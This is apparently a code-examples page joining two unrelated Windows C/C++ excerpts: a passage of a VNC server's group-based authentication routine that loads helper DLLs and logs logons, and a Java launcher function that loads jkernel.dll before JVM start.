	locdom2=Readlocdom2(locdom2);
	locdom3=Readlocdom3(locdom3);
	strcpy(pszgroup1,"VNCACCESS");
	strcpy(pszgroup2,"Administrators");
	strcpy(pszgroup3,"VNCVIEWONLY");
	if (group1){strcpy(pszgroup1,group1);}
	if (group2){strcpy(pszgroup2,group2);}
	if (group3){strcpy(pszgroup3,group3);}

	savegroup1(pszgroup1);
	savegroup2(pszgroup2);
	savegroup3(pszgroup3);
	savelocdom1(locdom1);
	savelocdom2(locdom2);
	savelocdom3(locdom3);

	if (group1){strcpy(pszgroup1,group1);delete group1;}
	if (group2){strcpy(pszgroup2,group2);delete group2;}
	if (group3){strcpy(pszgroup3,group3);delete group3;}

	//////////////////////////////////////////////////
	// logon user only works on NT>
	// NT4/w2k only as service (system account)
	// XP> works also as application
	// Group is not used...admin access rights is needed
	// MS keep changes there security model for each version....
	//////////////////////////////////////////////////
////////////////////////////////////////////////////
if (strcmp(pszgroup1,"")==0 && strcmp(pszgroup2,"")==0 && strcmp(pszgroup3,"")==0)
	if ( NT4OS || W2KOS){
		char szCurrentDir[MAX_PATH];
		if (GetModuleFileName(NULL, szCurrentDir, MAX_PATH))
		{
			char* p = strrchr(szCurrentDir, '\\');
			if (p == NULL) return false;
			*p = '\0';
			strcat (szCurrentDir,"\\authadmin.dll");
		}
		HMODULE hModule = LoadLibrary(szCurrentDir);
		if (hModule)
			{
				CheckUserGroupPassword = (CheckUserGroupPasswordFn) GetProcAddress( hModule, "CUGP" );
				HRESULT hr = CoInitialize(NULL);
				result=CheckUserGroupPassword(userin,password,clientname,pszgroup1,locdom1);
				CoUninitialize();
				FreeLibrary(hModule);
			}
		else 
			{
				MessageBoxSecure(NULL, "authadmin.dll not found", sz_ID_WARNING, MB_OK);
				result=0;
			}

	}
	if (result==1) goto accessOK;

if (strcmp(pszgroup1,"")!=0)
{
	
	///////////////////////////////////////////////////
	// NT4 domain and workgroups
	//
	///////////////////////////////////////////////////
	{
		char szCurrentDir[MAX_PATH];
		if (GetModuleFileName(NULL, szCurrentDir, MAX_PATH))
		{
			char* p = strrchr(szCurrentDir, '\\');
			if (p == NULL) return false;
			*p = '\0';
			strcat (szCurrentDir,"\\workgrpdomnt4.dll");
		}
		HMODULE hModule = LoadLibrary(szCurrentDir);
		if (hModule)
			{
				CheckUserGroupPassword = (CheckUserGroupPasswordFn) GetProcAddress( hModule, "CUGP" );
				HRESULT hr = CoInitialize(NULL);
				result=CheckUserGroupPassword(userin,password,clientname,pszgroup1,locdom1);
				CoUninitialize();
				FreeLibrary(hModule);
			}
		else
			{
				MessageBoxSecure(NULL, "workgrpdomnt4.dll not found", sz_ID_WARNING, MB_OK);
				result=0;
			}

	}
	if (result==1) goto accessOK;
	/////////////////////////////////////////////////////////////////
	if (CheckAD() && W2KOS && (locdom1==2||locdom1==3))
	{
		char szCurrentDir[MAX_PATH];
		if (GetModuleFileName(NULL, szCurrentDir, MAX_PATH))
		{
			char* p = strrchr(szCurrentDir, '\\');
			if (p == NULL) return false;
			*p = '\0';
			strcat (szCurrentDir,"\\ldapauth.dll");
		}
		HMODULE hModule = LoadLibrary(szCurrentDir);
		if (hModule)
			{
				CheckUserGroupPassword = (CheckUserGroupPasswordFn) GetProcAddress( hModule, "CUGP" );
				HRESULT hr = CoInitialize(NULL);
				result=CheckUserGroupPassword(userin,password,clientname,pszgroup1,locdom1);
				CoUninitialize();
				FreeLibrary(hModule);
			}
		else 
			{
				MessageBoxSecure(NULL, "ldapauth.dll not found", sz_ID_WARNING, MB_OK);
				result=0;
			}
	}
	if (result==1) goto accessOK;
	//////////////////////////////////////////////////////////////////////
	if (CheckAD() && NT4OS && CheckDsGetDcNameW() && (locdom1==2||locdom1==3))
	{
		char szCurrentDir[MAX_PATH];
		if (GetModuleFileName(NULL, szCurrentDir, MAX_PATH))
		{
			char* p = strrchr(szCurrentDir, '\\');
			if (p == NULL) return false;
			*p = '\0';
			strcat (szCurrentDir,"\\ldapauthnt4.dll");
		}
		HMODULE hModule = LoadLibrary(szCurrentDir);
		if (hModule)
			{
				CheckUserGroupPassword = (CheckUserGroupPasswordFn) GetProcAddress( hModule, "CUGP" );
				HRESULT hr = CoInitialize(NULL);
				result=CheckUserGroupPassword(userin,password,clientname,pszgroup1,locdom1);
				CoUninitialize();
				FreeLibrary(hModule);
			}
		else 
			{
				MessageBoxSecure(NULL, "ldapauthnt4.dll not found", sz_ID_WARNING, MB_OK);
				result=0;
			}
	}
	if (result==1) goto accessOK;
	//////////////////////////////////////////////////////////////////////
	if (CheckAD() && !NT4OS && !W2KOS && (locdom1==2||locdom1==3))
	{
		char szCurrentDir[MAX_PATH];
		if (GetModuleFileName(NULL, szCurrentDir, MAX_PATH))
		{
			char* p = strrchr(szCurrentDir, '\\');
			if (p == NULL) return false;
			*p = '\0';
			strcat (szCurrentDir,"\\ldapauth9x.dll");
		}
		HMODULE hModule = LoadLibrary(szCurrentDir);
		if (hModule)
			{
				CheckUserGroupPassword = (CheckUserGroupPasswordFn) GetProcAddress( hModule, "CUGP" );
				HRESULT hr = CoInitialize(NULL);
				result=CheckUserGroupPassword(userin,password,clientname,pszgroup1,locdom1);
				CoUninitialize();
				FreeLibrary(hModule);
			}
		else 
			{
				MessageBoxSecure(NULL, "ldapauth9x.dll not found", sz_ID_WARNING, MB_OK);
				result=0;
			}
	}
	if (result==1) goto accessOK;
}
/////////////////////////////////////////////////
if (strcmp(pszgroup2,"")!=0)
{
	///////////////////////////////////////////////////
	// NT4 domain and workgroups
	//
	///////////////////////////////////////////////////
	{
		char szCurrentDir[MAX_PATH];
		if (GetModuleFileName(NULL, szCurrentDir, MAX_PATH))
		{
			char* p = strrchr(szCurrentDir, '\\');
			if (p == NULL) return false;
			*p = '\0';
			strcat (szCurrentDir,"\\workgrpdomnt4.dll");
		}
		HMODULE hModule = LoadLibrary(szCurrentDir);
		if (hModule)
			{
				CheckUserGroupPassword = (CheckUserGroupPasswordFn) GetProcAddress( hModule, "CUGP" );
				HRESULT hr = CoInitialize(NULL);
				result=CheckUserGroupPassword(userin,password,clientname,pszgroup2,locdom2);
				CoUninitialize();
				FreeLibrary(hModule);
			}
		else 
			{
				MessageBoxSecure(NULL, "workgrpdomnt4.dll not found", sz_ID_WARNING, MB_OK);
				result=0;
			}

	}
	if (result==1) goto accessOK;
	//////////////////////////////////////////////////////
	if ( NT4OS || W2KOS){
		char szCurrentDir[MAX_PATH];
		if (GetModuleFileName(NULL, szCurrentDir, MAX_PATH))
		{
			char* p = strrchr(szCurrentDir, '\\');
			if (p == NULL) return false;
			*p = '\0';
			strcat (szCurrentDir,"\\authadmin.dll");
		}
		HMODULE hModule = LoadLibrary(szCurrentDir);
		if (hModule)
			{
				CheckUserGroupPassword = (CheckUserGroupPasswordFn) GetProcAddress( hModule, "CUGP" );
				HRESULT hr = CoInitialize(NULL);
				result=CheckUserGroupPassword(userin,password,clientname,pszgroup2,locdom2);
				CoUninitialize();
				FreeLibrary(hModule);
			}
		else 
			{
				MessageBoxSecure(NULL, "authadmin.dll not found", sz_ID_WARNING, MB_OK);
				result=0;
			}

	}
	if (result==1) goto accessOK;
	//////////////////////////////////////////////////////////////////
	if (CheckAD() && W2KOS && (locdom2==2||locdom2==3))
	{
		char szCurrentDir[MAX_PATH];
		if (GetModuleFileName(NULL, szCurrentDir, MAX_PATH))
		{
			char* p = strrchr(szCurrentDir, '\\');
			if (p == NULL) return false;
			*p = '\0';
			strcat (szCurrentDir,"\\ldapauth.dll");
		}
		HMODULE hModule = LoadLibrary(szCurrentDir);
		if (hModule)
			{
				CheckUserGroupPassword = (CheckUserGroupPasswordFn) GetProcAddress( hModule, "CUGP" );
				HRESULT hr = CoInitialize(NULL);
				result=CheckUserGroupPassword(userin,password,clientname,pszgroup2,locdom2);
				CoUninitialize();
				FreeLibrary(hModule);
			}
		else 
			{
				MessageBoxSecure(NULL, "ldapauth.dll not found", sz_ID_WARNING, MB_OK);
				result=0;
			}
	}
	if (result==1) goto accessOK;
	///////////////////////////////////////////////////////////////////////
	if (CheckAD() && NT4OS && CheckDsGetDcNameW() && (locdom2==2||locdom2==3))
	{
		char szCurrentDir[MAX_PATH];
		if (GetModuleFileName(NULL, szCurrentDir, MAX_PATH))
		{
			char* p = strrchr(szCurrentDir, '\\');
			if (p == NULL) return false;
			*p = '\0';
			strcat (szCurrentDir,"\\ldapauthnt4.dll");
		}
		HMODULE hModule = LoadLibrary(szCurrentDir);
		if (hModule)
			{
				CheckUserGroupPassword = (CheckUserGroupPasswordFn) GetProcAddress( hModule, "CUGP" );
				HRESULT hr = CoInitialize(NULL);
				result=CheckUserGroupPassword(userin,password,clientname,pszgroup2,locdom2);
				CoUninitialize();
				FreeLibrary(hModule);
			}
		else 
			{
				MessageBoxSecure(NULL, "ldapauthnt4.dll not found", sz_ID_WARNING, MB_OK);
				result=0;
			}
	}
	if (result==1) goto accessOK;
	///////////////////////////////////////////////////////////////////////
	if (CheckAD() && !NT4OS && !W2KOS && (locdom2==2||locdom2==3))
	{
		char szCurrentDir[MAX_PATH];
		if (GetModuleFileName(NULL, szCurrentDir, MAX_PATH))
		{
			char* p = strrchr(szCurrentDir, '\\');
			if (p == NULL) return false;
			*p = '\0';
			strcat (szCurrentDir,"\\ldapauth9x.dll");
		}
		HMODULE hModule = LoadLibrary(szCurrentDir);
		if (hModule)
			{
				CheckUserGroupPassword = (CheckUserGroupPasswordFn) GetProcAddress( hModule, "CUGP" );
				HRESULT hr = CoInitialize(NULL);
				result=CheckUserGroupPassword(userin,password,clientname,pszgroup2,locdom2);
				CoUninitialize();
				FreeLibrary(hModule);
			}
		else 
			{
				MessageBoxSecure(NULL, "ldapauth9x.dll not found", sz_ID_WARNING, MB_OK);
				result=0;
			}
	}
	if (result==1) goto accessOK;
}
////////////////////////////
if (strcmp(pszgroup3,"")!=0)
{
	///////////////////////////////////////////////////
	// NT4 domain and workgroups
	//
	///////////////////////////////////////////////////
	{
		char szCurrentDir[MAX_PATH];
		if (GetModuleFileName(NULL, szCurrentDir, MAX_PATH))
		{
			char* p = strrchr(szCurrentDir, '\\');
			if (p == NULL) return false;
			*p = '\0';
			strcat (szCurrentDir,"\\workgrpdomnt4.dll");
		}
		HMODULE hModule = LoadLibrary(szCurrentDir);
		if (hModule)
			{
				CheckUserGroupPassword = (CheckUserGroupPasswordFn) GetProcAddress( hModule, "CUGP" );
				HRESULT hr = CoInitialize(NULL);
				result=CheckUserGroupPassword(userin,password,clientname,pszgroup3,locdom3);
				CoUninitialize();
				FreeLibrary(hModule);
			}
		else 
			{
				MessageBoxSecure(NULL, "workgrpdomnt4.dll not found", sz_ID_WARNING, MB_OK);
				result=0;
			}

	}
	if (result==1) goto accessOK2;
	////////////////////////////////////////////////////////
	if ( NT4OS || W2KOS){
		char szCurrentDir[MAX_PATH];
		if (GetModuleFileName(NULL, szCurrentDir, MAX_PATH))
		{
			char* p = strrchr(szCurrentDir, '\\');
			if (p == NULL) return false;
			*p = '\0';
			strcat (szCurrentDir,"\\authadmin.dll");
		}
		HMODULE hModule = LoadLibrary(szCurrentDir);
		if (hModule)
			{
				CheckUserGroupPassword = (CheckUserGroupPasswordFn) GetProcAddress( hModule, "CUGP" );
				HRESULT hr = CoInitialize(NULL);
				result=CheckUserGroupPassword(userin,password,clientname,pszgroup3,locdom3);
				CoUninitialize();
				FreeLibrary(hModule);
			}
		else 
			{
				MessageBoxSecure(NULL, "authadmin.dll not found", sz_ID_WARNING, MB_OK);
				result=0;
			}

	}
	if (result==1) goto accessOK2;
	////////////////////////////////////////////////////////////////
	if (CheckAD() && W2KOS && (locdom3==2||locdom3==3))
	{
		char szCurrentDir[MAX_PATH];
		if (GetModuleFileName(NULL, szCurrentDir, MAX_PATH))
		{
			char* p = strrchr(szCurrentDir, '\\');
			if (p == NULL) return false;
			*p = '\0';
			strcat (szCurrentDir,"\\ldapauth.dll");
		}
		HMODULE hModule = LoadLibrary(szCurrentDir);
		if (hModule)
			{
				CheckUserGroupPassword = (CheckUserGroupPasswordFn) GetProcAddress( hModule, "CUGP" );
				HRESULT hr = CoInitialize(NULL);
				result=CheckUserGroupPassword(userin,password,clientname,pszgroup3,locdom3);
				CoUninitialize();
				FreeLibrary(hModule);
			}
		else 
			{
				MessageBoxSecure(NULL, "ldapauth.dll not found", sz_ID_WARNING, MB_OK);
				result=0;
			}
	}
	if (result==1) goto accessOK2;
	///////////////////////////////////////////////////////////////////
	if (CheckAD() && NT4OS && CheckDsGetDcNameW() && (locdom3==2||locdom3==3))
	{
		char szCurrentDir[MAX_PATH];
		if (GetModuleFileName(NULL, szCurrentDir, MAX_PATH))
		{
			char* p = strrchr(szCurrentDir, '\\');
			if (p == NULL) return false;
			*p = '\0';
			strcat (szCurrentDir,"\\ldapauthnt4.dll");
		}
		HMODULE hModule = LoadLibrary(szCurrentDir);
		if (hModule)
			{
				CheckUserGroupPassword = (CheckUserGroupPasswordFn) GetProcAddress( hModule, "CUGP" );
				HRESULT hr = CoInitialize(NULL);
				result=CheckUserGroupPassword(userin,password,clientname,pszgroup3,locdom3);
				CoUninitialize();
				FreeLibrary(hModule);
			}
		else 
			{
				MessageBoxSecure(NULL, "ldapauthnt4.dll not found", sz_ID_WARNING, MB_OK);
				result=0;
			}
		}
		if (result==1) goto accessOK2;
		///////////////////////////////////////////////////////////////////
	if (CheckAD() && !NT4OS && !W2KOS && (locdom3==2||locdom3==3))
	{
		char szCurrentDir[MAX_PATH];
		if (GetModuleFileName(NULL, szCurrentDir, MAX_PATH))
		{
			char* p = strrchr(szCurrentDir, '\\');
			if (p == NULL) return false;
			*p = '\0';
			strcat (szCurrentDir,"\\ldapauth9x.dll");
		}
		HMODULE hModule = LoadLibrary(szCurrentDir);
		if (hModule)
			{
				CheckUserGroupPassword = (CheckUserGroupPasswordFn) GetProcAddress( hModule, "CUGP" );
				HRESULT hr = CoInitialize(NULL);
				result=CheckUserGroupPassword(userin,password,clientname,pszgroup3,locdom3);
				CoUninitialize();
				FreeLibrary(hModule);
			}
		else 
			{
				MessageBoxSecure(NULL, "ldapauth9x.dll not found", sz_ID_WARNING, MB_OK);
				result=0;
			}
		}
		if (result==1) goto accessOK2;
	}

	/////////////////////////////////////////////////
	// If we reach this place auth failed
	/////////////////////////////////////////////////
	{
				typedef BOOL (*LogeventFn)(char *machine,char *user);
				LogeventFn Logevent = 0;
				char szCurrentDir[MAX_PATH];
				if (GetModuleFileName(NULL, szCurrentDir, MAX_PATH))
					{
						char* p = strrchr(szCurrentDir, '\\');
						*p = '\0';
						strcat (szCurrentDir,"\\logging.dll");
					}
				HMODULE hModule = LoadLibrary(szCurrentDir);
				if (hModule)
					{
						Logevent = (LogeventFn) GetProcAddress( hModule, "LOGFAILEDUSER" );
						Logevent((char *)clientname,userin);
						FreeLibrary(hModule);
					}
				return result;
	}

	accessOK://full access
	{
				typedef BOOL (*LogeventFn)(char *machine,char *user);
				LogeventFn Logevent = 0;
				char szCurrentDir[MAX_PATH];
				if (GetModuleFileName(NULL, szCurrentDir, MAX_PATH))
					{
						char* p = strrchr(szCurrentDir, '\\');
						*p = '\0';
						strcat (szCurrentDir,"\\logging.dll");
					}
				HMODULE hModule = LoadLibrary(szCurrentDir);
				if (hModule)
					{
						Logevent = (LogeventFn) GetProcAddress( hModule, "LOGLOGONUSER" );
						Logevent((char *)clientname,userin);
						FreeLibrary(hModule);
					}
				return result;
	}

	accessOK2://readonly
	{
				typedef BOOL (*LogeventFn)(char *machine,char *user);
				LogeventFn Logevent = 0;
				char szCurrentDir[MAX_PATH];
				if (GetModuleFileName(NULL, szCurrentDir, MAX_PATH))
					{
						char* p = strrchr(szCurrentDir, '\\');
						*p = '\0';
						strcat (szCurrentDir,"\\logging.dll");
					}
				HMODULE hModule = LoadLibrary(szCurrentDir);
				if (hModule)
					{
						Logevent = (LogeventFn) GetProcAddress( hModule, "LOGLOGONUSER" );
						Logevent((char *)clientname,userin);
						FreeLibrary(hModule);
					}
				result=2;
	}

	return result;
}
Example #30
0
static void
EnsureJreInstallation(const char* jrepath)
{
    HINSTANCE handle;
    char tmpbuf[MAXPATHLEN];
    PREJVMSTART PreJVMStart;
    struct stat s;

    /* 32 bit windows only please */
    if (strcmp(GetArch(), "i386") != 0 ) {
        if (_launcher_debug) {
            printf("EnsureJreInstallation:unsupported platform\n");
        }
        return;
    }
    /* Does our bundle directory exist ? */
    strcpy(tmpbuf, jrepath);
    strcat(tmpbuf, "\\lib\\bundles");
    if (stat(tmpbuf, &s) != 0) {
        if (_launcher_debug) {
            printf("EnsureJreInstallation:<%s>:not found\n", tmpbuf);
        }
        return;
    }
    /* Does our jkernel dll exist ? */
    strcpy(tmpbuf, jrepath);
    strcat(tmpbuf, "\\bin\\jkernel.dll");
    if (stat(tmpbuf, &s) != 0) {
        if (_launcher_debug) {
            printf("EnsureJreInstallation:<%s>:not found\n", tmpbuf);
        }
        return;
    }
    /* The Microsoft C Runtime Library needs to be loaded first. */
    if (!LoadMSVCRT()) {
        if (_launcher_debug) {
            printf("EnsureJreInstallation:could not load C runtime DLL\n");
        }
        return;
    }
    /* Load the jkernel.dll */
    if ((handle = LoadLibrary(tmpbuf)) == 0) {
        if (_launcher_debug) {
            printf("EnsureJreInstallation:%s:load failed\n", tmpbuf);
        }
        return;
    }
    /* Get the function address */
    PreJVMStart = (PREJVMSTART)GetProcAddress(handle, "preJVMStart");
    if (PreJVMStart == NULL) {
        if (_launcher_debug) {
            printf("EnsureJreInstallation:preJVMStart:function lookup failed\n");
        }
        FreeLibrary(handle);
        return;
    }
    PreJVMStart();
    if (_launcher_debug) {
        printf("EnsureJreInstallation:preJVMStart:called\n");
    }
    FreeLibrary(handle);
    return;
}